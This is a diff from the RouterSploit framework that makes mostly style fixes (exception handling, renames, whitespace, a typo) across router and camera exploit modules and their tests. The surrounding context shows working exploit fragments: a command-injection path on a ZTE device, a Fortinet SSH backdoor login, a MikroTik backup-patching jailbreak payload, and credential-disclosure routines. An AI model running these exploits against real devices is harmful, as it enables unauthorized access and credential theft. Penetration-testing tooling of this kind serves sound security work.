...@@ -63,7 +63,7 @@ class Exploit(HTTPClient): ...@@ -63,7 +63,7 @@ class Exploit(HTTPClient):
"{};echo ffffffffffffffff;".format(cmd) "{};echo ffffffffffffffff;".format(cmd)
response = self.http_request( response = self.http_request(
method="GET", method="GET",
path=path path=path
) )
if response is None: if response is None:
......
...@@ -12,7 +12,7 @@ class Exploit(HTTPClient): ...@@ -12,7 +12,7 @@ class Exploit(HTTPClient):
"Alvaro Folgado", # vulnerability discovery "Alvaro Folgado", # vulnerability discovery
"Jose Rodriguez", # vulnerability discovery "Jose Rodriguez", # vulnerability discovery
"Ivan Sanz", # vulnerability discovery "Ivan Sanz", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module, "Marcin Bury <marcin[at]threat9.com>", # routersploit module,
), ),
"references": ( "references": (
"http://seclists.org/fulldisclosure/2015/May/129", "http://seclists.org/fulldisclosure/2015/May/129",
......
...@@ -9,7 +9,7 @@ class Exploit(HTTPClient): ...@@ -9,7 +9,7 @@ class Exploit(HTTPClient):
"description": "Module exploits remote code execution vulnerability in D-Link DSL-2750B devices. ", "description": "Module exploits remote code execution vulnerability in D-Link DSL-2750B devices. ",
"authors": ( "authors": (
"p@ql", # vulnerability discovery "p@ql", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module, "Marcin Bury <marcin[at]threat9.com>", # routersploit module,
), ),
"references": ( "references": (
"http://seclists.org/fulldisclosure/2016/Feb/53", "http://seclists.org/fulldisclosure/2016/Feb/53",
...@@ -45,7 +45,7 @@ class Exploit(HTTPClient): ...@@ -45,7 +45,7 @@ class Exploit(HTTPClient):
if response and "DSL-2750B" in response.text: if response and "DSL-2750B" in response.text:
version = re.findall(r"AYECOM_FWVER=\"(.*?)\";", response.text) version = re.findall(r"AYECOM_FWVER=\"(.*?)\";", response.text)
if version: if version:
if utils.Version("1.01") <= utils.Version(version[0]) <= utils.Version("1.03"): if utils.Version("1.01") <= utils.Version(version[0]) <= utils.Version("1.03"):
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -44,7 +44,7 @@ class Exploit(HTTPClient): ...@@ -44,7 +44,7 @@ class Exploit(HTTPClient):
method="GET", method="GET",
path="/", path="/",
cookies=cookies cookies=cookies
) )
return "" return ""
@mute @mute
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
......
...@@ -3,7 +3,6 @@ from routersploit.core.exploit import * ...@@ -3,7 +3,6 @@ from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
__info__ = { __info__ = {
"name": "D-Link DWL-3200AP Password Disclosure", "name": "D-Link DWL-3200AP Password Disclosure",
......
...@@ -35,7 +35,7 @@ class Exploit(TCPClient, TelnetClient): ...@@ -35,7 +35,7 @@ class Exploit(TCPClient, TelnetClient):
try: try:
sock.sendto(b"HELODBG", (self.target, 39889)) sock.sendto(b"HELODBG", (self.target, 39889))
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
pass pass
sock.close() sock.close()
...@@ -47,7 +47,7 @@ class Exploit(TCPClient, TelnetClient): ...@@ -47,7 +47,7 @@ class Exploit(TCPClient, TelnetClient):
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port)
tn.interact() tn.interact()
except: except Exception:
print_error("Exploit failed - could not connect to the telnet service") print_error("Exploit failed - could not connect to the telnet service")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
...@@ -64,7 +64,7 @@ class Exploit(TCPClient, TelnetClient): ...@@ -64,7 +64,7 @@ class Exploit(TCPClient, TelnetClient):
if "Hello" in response: if "Hello" in response:
sock.sendto(b"BYEDBG", (self.target, 39889)) sock.sendto(b"BYEDBG", (self.target, 39889))
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
pass pass
return False # target is not vulnerable return False # target is not vulnerable
...@@ -75,7 +75,7 @@ class Exploit(HTTPClient): ...@@ -75,7 +75,7 @@ class Exploit(HTTPClient):
@mute @mute
def check(self): def check(self):
fingerprint = utils.random_text(10) fingerprint = utils.random_text(10)
cmd = "echo {}".format(fingerprint) cmd = "echo {}".format(fingerprint)
response = self.execute(cmd) response = self.execute(cmd)
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
__info__ = { __info__ = {
"name": "D-Link Multi HNAP RCE", "name": "D-Link Multi HNAP RCE",
...@@ -52,7 +53,7 @@ class Exploit(HTTPClient): ...@@ -52,7 +53,7 @@ class Exploit(HTTPClient):
self.http_request( self.http_request(
method="POST", method="POST",
path="/HNAP1/", path="/HNAP1/",
headers=headers headers=headers
) )
return "" return ""
......
...@@ -36,7 +36,7 @@ class Exploit(SSHClient): ...@@ -36,7 +36,7 @@ class Exploit(SSHClient):
client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except: except Exception:
print_error("Exploit Failed - SSH Service is down") print_error("Exploit Failed - SSH Service is down")
return return
...@@ -45,7 +45,7 @@ class Exploit(SSHClient): ...@@ -45,7 +45,7 @@ class Exploit(SSHClient):
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except: except Exception:
print_status("Error with Existing Session. Wait few minutes.") print_status("Error with Existing Session. Wait few minutes.")
return return
...@@ -54,7 +54,7 @@ class Exploit(SSHClient): ...@@ -54,7 +54,7 @@ class Exploit(SSHClient):
print_success("Exploit succeeded") print_success("Exploit succeeded")
ssh_interactive(client) ssh_interactive(client)
except: except Exception:
print_error("Exploit failed") print_error("Exploit failed")
return return
...@@ -67,7 +67,7 @@ class Exploit(SSHClient): ...@@ -67,7 +67,7 @@ class Exploit(SSHClient):
client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
trans = client.get_transport() trans = client.get_transport()
...@@ -75,12 +75,12 @@ class Exploit(SSHClient): ...@@ -75,12 +75,12 @@ class Exploit(SSHClient):
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except: except Exception:
return None # could not verify return None # could not verify
try: try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
return True # target is vulnerable return True # target is vulnerable
......
...@@ -32,7 +32,7 @@ class Exploit(HTTPClient): ...@@ -32,7 +32,7 @@ class Exploit(HTTPClient):
method="GET", method="GET",
path="/api/wlan/security-settings", path="/api/wlan/security-settings",
) )
if response is None: if response is None:
return return
......
...@@ -72,7 +72,7 @@ class Exploit(UDPClient): ...@@ -72,7 +72,7 @@ class Exploit(UDPClient):
try: try:
print_status("Waiting for response") print_status("Waiting for response")
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
print_error("Exploit failed - device seems to be not vulnerable") print_error("Exploit failed - device seems to be not vulnerable")
return return
...@@ -88,7 +88,7 @@ class Exploit(UDPClient): ...@@ -88,7 +88,7 @@ class Exploit(UDPClient):
try: try:
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if len(response): if len(response):
......
...@@ -54,7 +54,7 @@ class Exploit(HTTPClient): ...@@ -54,7 +54,7 @@ class Exploit(HTTPClient):
"ACTION2": "snort" "ACTION2": "snort"
} }
response = self.http_request( self.http_request(
method="POST", method="POST",
path="/cgi-bin/ids.cgi", path="/cgi-bin/ids.cgi",
headers=headers, headers=headers,
...@@ -81,7 +81,7 @@ class Exploit(HTTPClient): ...@@ -81,7 +81,7 @@ class Exploit(HTTPClient):
version = res[0][0] version = res[0][0]
update = int(res[0][1]) update = int(res[0][1])
if Version(version) <= Version("2.19") and udpate <= 110: if Version(version) <= Version("2.19") and update <= 110:
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
import re import re
from struct import pack, unpack from struct import pack, unpack
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.ssh.ssh_client import SSHClient from routersploit.core.ssh.ssh_client import SSHClient
class Exploit(SSHClient): class Exploit(SSHClient):
...@@ -42,11 +42,11 @@ class Exploit(SSHClient): ...@@ -42,11 +42,11 @@ class Exploit(SSHClient):
if self.backup_restore(backup): if self.backup_restore(backup):
print_success("Jailbreak was (likely) successful.") print_success("Jailbreak was (likely) successful.")
print_success("Linux mode can be accessed via telnet using: devel/{}".format(self.password)) print_success("Linux mode can be accessed via telnet using: devel/{}".format(self.password))
else: else:
print_error("Unable to apply patched configuration") print_error("Unable to apply patched configuration")
else: else:
print_error("Unable to export current configuration") print_error("Unable to export current configuration")
@mute @mute
def check(self): def check(self):
self.ssh_client = self.ssh_login(self.username, self.password) self.ssh_client = self.ssh_login(self.username, self.password)
...@@ -54,7 +54,7 @@ class Exploit(SSHClient): ...@@ -54,7 +54,7 @@ class Exploit(SSHClient):
if self.ssh_client: if self.ssh_client:
output = self.ssh_execute(self.ssh_client, "/system resource print") output = self.ssh_execute(self.ssh_client, "/system resource print")
res = re.findall(b"version: (.+?) ", output) res = re.findall(b"version: (.+?) ", output)
if res: if res:
version = str(res[0], "utf-8") version = str(res[0], "utf-8")
if "rc" in version: if "rc" in version:
...@@ -87,7 +87,7 @@ class Exploit(SSHClient): ...@@ -87,7 +87,7 @@ class Exploit(SSHClient):
matchsize, = unpack("<I", backup[4:8]) matchsize, = unpack("<I", backup[4:8])
if matchsize != realsize: if matchsize != realsize:
print_error("File is damaged. Aborting...") print_error("File is damaged. Aborting...")
return False return False
# first we write our payload # first we write our payload
payload = ( payload = (
...@@ -95,7 +95,7 @@ class Exploit(SSHClient): ...@@ -95,7 +95,7 @@ class Exploit(SSHClient):
b"\x6E\x6F\x76\x61\x2F\x65\x74\x63\x2F\x64\x65\x76\x65\x6C\x2D" b"\x6E\x6F\x76\x61\x2F\x65\x74\x63\x2F\x64\x65\x76\x65\x6C\x2D"
b"\x6C\x6F\x67\x69\x6E\x2F\x00\x00\x00\x00\x00\x00\x00\x00" b"\x6C\x6F\x67\x69\x6E\x2F\x00\x00\x00\x00\x00\x00\x00\x00"
) )
matchsize += len(payload) matchsize += len(payload)
backup = backup[:4] + pack("<I", matchsize) + backup[8:] + payload backup = backup[:4] + pack("<I", matchsize) + backup[8:] + payload
print_status("Patching done") print_status("Patching done")
...@@ -110,6 +110,6 @@ class Exploit(SSHClient): ...@@ -110,6 +110,6 @@ class Exploit(SSHClient):
else: else:
output = self.ssh_execute(self.ssh_client, "/system backup load name=\"backup.backup\"") output = self.ssh_execute(self.ssh_client, "/system backup load name=\"backup.backup\"")
if b"configuration restored" in output: if b"configuration restored" in output:
return True return True
return False return False
import re import re
from time import sleep from time import sleep
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
......
...@@ -142,9 +142,9 @@ class Exploit(HTTPClient): ...@@ -142,9 +142,9 @@ class Exploit(HTTPClient):
if response is not None and response.status_code <= 302: if response is not None and response.status_code <= 302:
print_success( print_success(
"Seems good but check " "Seems good but check " +
+ "{}:{}".format(self.target, self.port) "{}:{} ".format(self.target, self.port) +
+ " using your browser to verify if authentication is disabled or not." "using your browser to verify if authentication is disabled or not."
) )
return True return True
else: else:
......
...@@ -88,7 +88,7 @@ class Exploit(HTTPClient): ...@@ -88,7 +88,7 @@ class Exploit(HTTPClient):
response = self.http_request( response = self.http_request(
method="GET", method="GET",
path="/rom-0", path="/rom-0",
) )
if response is not None \ if response is not None \
and response.status_code == 200 \ and response.status_code == 200 \
......
...@@ -63,9 +63,9 @@ class Exploit(HTTPClient): ...@@ -63,9 +63,9 @@ class Exploit(HTTPClient):
@staticmethod @staticmethod
def decrypt_backup(backup): def decrypt_backup(backup):
key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F') key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
l = (len(backup) / 16) * 16 length = (len(backup) / 16) * 16
cipher = AES.new(key, AES.MODE_ECB) cipher = AES.new(key, AES.MODE_ECB)
plain = cipher.decrypt(backup[0:l]) plain = cipher.decrypt(backup[0:length])
return plain return plain
@mute @mute
......
import re import re
from io import StringIO
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.ftp.ftp_client import FTPClient from routersploit.core.ftp.ftp_client import FTPClient
...@@ -57,7 +56,6 @@ class Exploit(FTPClient): ...@@ -57,7 +56,6 @@ class Exploit(FTPClient):
return False return False
def get_credentials(self): def get_credentials(self):
print_status("Trying FTP authentication with Username: {} and Password: {}".format(self.username, print_status("Trying FTP authentication with Username: {} and Password: {}".format(self.username,
self.password)) self.password))
......
...@@ -20,7 +20,7 @@ class Exploit(SNMPClient): ...@@ -20,7 +20,7 @@ class Exploit(SNMPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(161, "Target SNMP port") port = OptPort(161, "Target SNMP port")
verbosity = OptBool("false", "Enable verbose output: true/false") verbosity = OptBool("false", "Enable verbose output: true/false")
def __init__(self): def __init__(self):
......
...@@ -56,9 +56,9 @@ class Exploit(HTTPClient): ...@@ -56,9 +56,9 @@ class Exploit(HTTPClient):
return passwd return passwd
def parse(self, data): def parse(self, data):
l = data.split(b'\r\n') parts = data.split(b'\r\n')
del l[0] del parts[0]
for item in l: for item in parts:
try: try:
if 'authKey' in item: if 'authKey' in item:
authKey = item.split()[1] authKey = item.split()[1]
...@@ -66,7 +66,7 @@ class Exploit(HTTPClient): ...@@ -66,7 +66,7 @@ class Exploit(HTTPClient):
cPskSecret = item.split()[1] cPskSecret = item.split()[1]
if 'cUsrPIN' in item: if 'cUsrPIN' in item:
cUsrPIN = item.split()[1] cUsrPIN = item.split()[1]
except: except Exception:
pass pass
return authKey, cPskSecret, cUsrPIN return authKey, cPskSecret, cUsrPIN
......
...@@ -42,10 +42,9 @@ class Exploit(HTTPClient): ...@@ -42,10 +42,9 @@ class Exploit(HTTPClient):
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
def execute(self, cmd): def execute(self, cmd):
path = "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&" \ path = "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&" \
"DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd) "DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd)
url = "{}:{}{}".format(self.target, self.port, path)
try: try:
response = self.http_request( response = self.http_request(
method="GET", method="GET",
...@@ -73,7 +72,7 @@ class Exploit(HTTPClient): ...@@ -73,7 +72,7 @@ class Exploit(HTTPClient):
res = res1 + res2 res = res1 + res2
if res[0] != "</textarea>": if res[0] != "</textarea>":
return res[0] return res[0]
except: except Exception:
pass pass
return "" return ""
...@@ -85,7 +84,7 @@ class Exploit(HTTPClient): ...@@ -85,7 +84,7 @@ class Exploit(HTTPClient):
path="/template.gch", path="/template.gch",
session=self.session session=self.session
) )
except: except Exception:
return return
# Check for Model Name # Check for Model Name
...@@ -140,7 +139,7 @@ class Exploit(HTTPClient): ...@@ -140,7 +139,7 @@ class Exploit(HTTPClient):
if "Username" not in response.text and "Password" not in response.text: if "Username" not in response.text and "Password" not in response.text:
print_success("Successful authentication") print_success("Successful authentication")
return True return True
except: except Exception:
pass pass
return False return False
......
...@@ -76,7 +76,7 @@ class Exploit(HTTPClient): ...@@ -76,7 +76,7 @@ class Exploit(HTTPClient):
def login(self): def login(self):
credentials = base64.encode("{}:{}".format(self.username, self.password)) credentials = base64.encode("{}:{}".format(self.username, self.password))
url = "/cgi-bin/index.asp?" + credentials path = "/cgi-bin/index.asp?" + credentials
data = { data = {
"Loginuser": "supervisor", "Loginuser": "supervisor",
......
...@@ -20,7 +20,6 @@ class Exploit(BTLEClient): ...@@ -20,7 +20,6 @@ class Exploit(BTLEClient):
data = OptString("41424344", "Data (in hex format)") data = OptString("41424344", "Data (in hex format)")
buffering = OptBool("true", "Buffering enabled: true/false. Results in real time.") buffering = OptBool("true", "Buffering enabled: true/false. Results in real time.")
def run(self): def run(self):
try: try:
data = bytes.fromhex(self.data) data = bytes.fromhex(self.data)
......
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
......
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
......
from base64 import b64encode from base64 import b64encode
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
......
from base64 import b64encode from base64 import b64encode
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
......
from base64 import b64encode from base64 import b64encode
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
......
...@@ -98,27 +98,27 @@ class Exploit(Exploit): ...@@ -98,27 +98,27 @@ class Exploit(Exploit):
break break
else: else:
exploit.target = self.target exploit.target = self.target
if exploit.target_protocol == Protocol.HTTP: if exploit.target_protocol == Protocol.HTTP:
exploit.port = self.http_port exploit.port = self.http_port
if self.http_ssl: if self.http_ssl:
exploit.ssl = "true" exploit.ssl = "true"
exploit.target_protocol = Protocol.HTTPS exploit.target_protocol = Protocol.HTTPS
elif exploit.target_protocol is Protocol.FTP: elif exploit.target_protocol is Protocol.FTP:
exploit.port = self.ftp_port exploit.port = self.ftp_port
if self.ftp_ssl: if self.ftp_ssl:
exploit.ssl = "true" exploit.ssl = "true"
exploit.target_protocol = Protocol.FTPS exploit.target_protocol = Protocol.FTPS
elif exploit.target_protocol is Protocol.TELNET: elif exploit.target_protocol is Protocol.TELNET:
exploit.port = self.telnet_port exploit.port = self.telnet_port
# elif exploit.target_protocol not in ["tcp", "udp"]: # elif exploit.target_protocol not in ["tcp", "udp"]:
# exploit.target_protocol = "custom" # exploit.target_protocol = "custom"
response = exploit.check() response = exploit.check()
if response is True: if response is True:
print_info("\033[92m[+]\033[0m", "{}:{} {} {} is vulnerable".format( print_info("\033[92m[+]\033[0m", "{}:{} {} {} is vulnerable".format(
exploit.target, exploit.port, exploit.target_protocol, exploit)) exploit.target, exploit.port, exploit.target_protocol, exploit))
...@@ -136,7 +136,7 @@ class Exploit(Exploit): ...@@ -136,7 +136,7 @@ class Exploit(Exploit):
try: try:
module = data.next() module = data.next()
exploit = module() exploit = module()
generic = False generic = False
if exploit.__module__.startswith("routersploit.modules.creds.generic"): if exploit.__module__.startswith("routersploit.modules.creds.generic"):
if exploit.__module__.endswith("default"): if exploit.__module__.endswith("default"):
...@@ -151,13 +151,13 @@ class Exploit(Exploit): ...@@ -151,13 +151,13 @@ class Exploit(Exploit):
exploit.verbosity = "false" exploit.verbosity = "false"
exploit.stop_on_success = "false" exploit.stop_on_success = "false"
exploit.threads = self.threads exploit.threads = self.threads
if exploit.target_protocol == Protocol.HTTP: if exploit.target_protocol == Protocol.HTTP:
exploit.port = self.http_port exploit.port = self.http_port
if self.http_ssl: if self.http_ssl:
exploit.ssl = "true" exploit.ssl = "true"
exploit.target_protocol = Protocol.HTTPS exploit.target_protocol = Protocol.HTTPS
elif generic: elif generic:
if exploit.target_protocol is Protocol.HTTP: if exploit.target_protocol is Protocol.HTTP:
exploit.port = self.http_port exploit.port = self.http_port
...@@ -171,17 +171,17 @@ class Exploit(Exploit): ...@@ -171,17 +171,17 @@ class Exploit(Exploit):
if self.ftp_ssl: if self.ftp_ssl:
exploit.ssl = "true" exploit.ssl = "true"
exploit.target_protocol = Protocol.FTPS exploit.target_protocol = Protocol.FTPS
elif exploit.target_protocol == Protocol.TELNET: elif exploit.target_protocol == Protocol.TELNET:
exploit.port = self.telnet_port exploit.port = self.telnet_port
else: else:
continue continue
response = exploit.check_default() response = exploit.check_default()
if response: if response:
print_info("\033[92m[+]\033[0m", "{}:{} {} {} is vulnerable".format( print_info("\033[92m[+]\033[0m", "{}:{} {} {} is vulnerable".format(
exploit.target, exploit.port, exploit.target_protocol, exploit)) exploit.target, exploit.port, exploit.target_protocol, exploit))
for creds in response: for creds in response:
self.creds.append(creds) self.creds.append(creds)
else: else:
......
...@@ -18,5 +18,6 @@ def routersploit(): ...@@ -18,5 +18,6 @@ def routersploit():
rsf = RoutersploitInterpreter() rsf = RoutersploitInterpreter()
rsf.start() rsf.start()
if __name__ == "__main__": if __name__ == "__main__":
routersploit() routersploit()
import pytest import pytest
from unittest.mock import patch
from threat9_test_bed.scenarios import HttpScenario from threat9_test_bed.scenarios import HttpScenario
from threat9_test_bed.service_mocks import HttpScenarioService, HttpServiceMock from threat9_test_bed.service_mocks import HttpScenarioService, HttpServiceMock
from threat9_test_bed.scenarios import TelnetScenario from threat9_test_bed.scenarios import TelnetScenario
from threat9_test_bed.service_mocks.telnet_service_mock import TelnetServiceMock from threat9_test_bed.service_mocks.telnet_service_mock import TelnetServiceMock
import routersploit.core.exploit.shell
@pytest.fixture @pytest.fixture
def target(): def target():
with HttpServiceMock("127.0.0.1", 0) as target_: with HttpServiceMock("127.0.0.1", 0) as target_:
yield target_ yield target_
@pytest.fixture(scope="session") @pytest.fixture(scope="session")
def empty_target(): def empty_target():
with HttpScenarioService("127.0.0.1", 0, with HttpScenarioService("127.0.0.1", 0,
...@@ -55,8 +53,8 @@ def timeout_target(): ...@@ -55,8 +53,8 @@ def timeout_target():
HttpScenario.TIMEOUT) as http_service: HttpScenario.TIMEOUT) as http_service:
yield http_service yield http_service
@pytest.fixture @pytest.fixture
def generic_target(): def generic_target():
with TelnetServiceMock("127.0.0.1", 0, TelnetScenario.AUTHORIZED) as telnet_service: with TelnetServiceMock("127.0.0.1", 0, TelnetScenario.AUTHORIZED) as telnet_service:
yield telnet_service yield telnet_service
from flask import request
from routersploit.modules.creds.cameras.basler.webinterface_http_form_default_creds import Exploit from routersploit.modules.creds.cameras.basler.webinterface_http_form_default_creds import Exploit
...@@ -6,7 +5,7 @@ def test_check_success(target): ...@@ -6,7 +5,7 @@ def test_check_success(target):
""" Test scenario - successful check """ """ Test scenario - successful check """
route_mock = target.get_route_mock("/cgi-bin/auth_if.cgi", methods=["GET", "POST"]) route_mock = target.get_route_mock("/cgi-bin/auth_if.cgi", methods=["GET", "POST"])
route_mock.return_value = "success: true" route_mock.return_value = "success: true"
exploit = Exploit() exploit = Exploit()
exploit.target = target.host exploit.target = target.host
......
...@@ -8,7 +8,6 @@ def test_check_success(generic_target): ...@@ -8,7 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host exploit.target = generic_target.host
exploit.port = generic_target.port exploit.port = generic_target.port
assert exploit.check() is False assert exploit.check() is False
assert exploit.check_default() is None assert exploit.check_default() is None
assert exploit.run() is None assert exploit.run() is None
...@@ -2,31 +2,31 @@ from routersploit.modules.exploits.cameras.brickcom.corp_network_cameras_conf_di ...@@ -2,31 +2,31 @@ from routersploit.modules.exploits.cameras.brickcom.corp_network_cameras_conf_di
configfile = ( configfile = (
"DeviceBasicInfo.firmwareVersion=v3.0.6.12" "DeviceBasicInfo.firmwareVersion=v3.0.6.12"
"DeviceBasicInfo.macAddress=00:00:00:00:00:00" "DeviceBasicInfo.macAddress=00:00:00:00:00:00"
"DeviceBasicInfo.sensorID=OV9X11" "DeviceBasicInfo.sensorID=OV9X11"
"DeviceBasicInfo.internalName=Brickcom" "DeviceBasicInfo.internalName=Brickcom"
"DeviceBasicInfo.productName=Di-1092AX" "DeviceBasicInfo.productName=Di-1092AX"
"DeviceBasicInfo.displayName=CB-1092AX" "DeviceBasicInfo.displayName=CB-1092AX"
"DeviceBasicInfo.modelNumber=XXX" "DeviceBasicInfo.modelNumber=XXX"
"DeviceBasicInfo.companyName=Brickcom Corporation" "DeviceBasicInfo.companyName=Brickcom Corporation"
"DeviceBasicInfo.comments=[CUBE HD IPCam STREEDM]" "DeviceBasicInfo.comments=[CUBE HD IPCam STREEDM]"
"DeviceBasicInfo.companyUrl=www.brickcom.com" "DeviceBasicInfo.companyUrl=www.brickcom.com"
"DeviceBasicInfo.serialNumber=AXNB02B211111" "DeviceBasicInfo.serialNumber=AXNB02B211111"
"DeviceBasicInfo.skuType=LIT" "DeviceBasicInfo.skuType=LIT"
"DeviceBasicInfo.ledIndicatorMode=1" "DeviceBasicInfo.ledIndicatorMode=1"
"DeviceBasicInfo.minorFW=1" "DeviceBasicInfo.minorFW=1"
"DeviceBasicInfo.hardwareVersion=" "DeviceBasicInfo.hardwareVersion="
"DeviceBasicInfo.PseudoPDseProdNum=P3301" "DeviceBasicInfo.PseudoPDseProdNum=P3301"
"AudioDeviceSetting.muted=0" "AudioDeviceSetting.muted=0"
"UserSetSetting.userList.size=2" "UserSetSetting.userList.size=2"
"UserSetSetting.userList.users0.index=0" "UserSetSetting.userList.users0.index=0"
"UserSetSetting.userList.users0.password=MyM4st3rP4ss" "UserSetSetting.userList.users0.password=MyM4st3rP4ss"
"UserSetSetting.userList.users0.privilege=1" "UserSetSetting.userList.users0.privilege=1"
"UserSetSetting.userList.users0.username=Cam_User" "UserSetSetting.userList.users0.username=Cam_User"
"UserSetSetting.userList.users1.index=0" "UserSetSetting.userList.users1.index=0"
"UserSetSetting.userList.users1.password=C0mm0mP4ss" "UserSetSetting.userList.users1.password=C0mm0mP4ss"
) )
def test_check_v1_success(target): def test_check_v1_success(target):
......
...@@ -4,30 +4,29 @@ from routersploit.modules.exploits.cameras.brickcom.users_cgi_creds_disclosure i ...@@ -4,30 +4,29 @@ from routersploit.modules.exploits.cameras.brickcom.users_cgi_creds_disclosure i
response = ( response = (
""" """
size=4 size=4
User1.index=1 User1.index=1
User1.username=admin User1.username=admin
User1.password=test1234 User1.password=test1234
User1.privilege=1 User1.privilege=1
User2.index=2 User2.index=2
User2.username=viewer User2.username=viewer
User2.password=viewer User2.password=viewer
User2.privilege=0 User2.privilege=0
User3.index=3 User3.index=3
User3.username=rviewer User3.username=rviewer
User3.password=rviewer User3.password=rviewer
User3.privilege=2 User3.privilege=2
User4.index=0 User4.index=0
User4.username=visual User4.username=visual
User4.password=visual1234 User4.password=visual1234
User4.privilege=0 User4.privilege=0
"""
)
""")
def apply_response(*args, **kwargs): def apply_response(*args, **kwargs):
......
from flask import request, Response from flask import Response
from base64 import b64decode from base64 import b64decode
from routersploit.modules.exploits.cameras.dlink.dcs_930l_932l_auth_bypass import Exploit from routersploit.modules.exploits.cameras.dlink.dcs_930l_932l_auth_bypass import Exploit
